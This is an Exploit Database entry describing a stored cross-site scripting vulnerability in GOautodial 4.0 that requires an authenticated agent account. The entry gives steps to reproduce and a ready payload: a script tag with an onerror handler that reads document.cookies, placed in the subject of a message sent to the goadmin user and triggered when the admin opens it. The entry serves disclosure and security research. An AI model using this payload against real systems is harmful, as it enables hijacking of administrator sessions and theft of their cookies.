

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING

GOautodial 4.0 - Persistent Cross-Site Scripting (Authenticated)

EDB-ID:

48690

CVE:

N/A

EDB Verified: ✗**Author:**[BALZABU](#)**Type:**[WEBAPPS](#)**Exploit:**  **Platform:**[PHP](#)**Date:**

2020-07-26

Vulnerable App:

```
# Exploit Title: GOautodial 4.0 - Persistent Cross-Site Scripting
(Authenticated)
# Author: Balzabu
# Discovery Date: 2020-07-23
# Vendor Homepage: https://goautodial.org/
# Software Link: https://goautodial.org/GOautodial-4-x86_64-Final-20191010-
0150.iso.html
# Tested Version: 4.0 (Last release as of today)
# Tested on OS: CentOS 7

# STEPS TO REPRODUCE:

# 1 - Log in as an agent
# 2 - Write a new message to user goadmin with:
Subject: Help me, I can't connect to the webphone <script src=1
href=1 onerror="javascript:alert(document.cookies)"></script>
Text: whatever you want
# 3 - Send and wait for goadmin to read the message... :-)
```

Tags:

Advisory/Source: [Link](#)

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.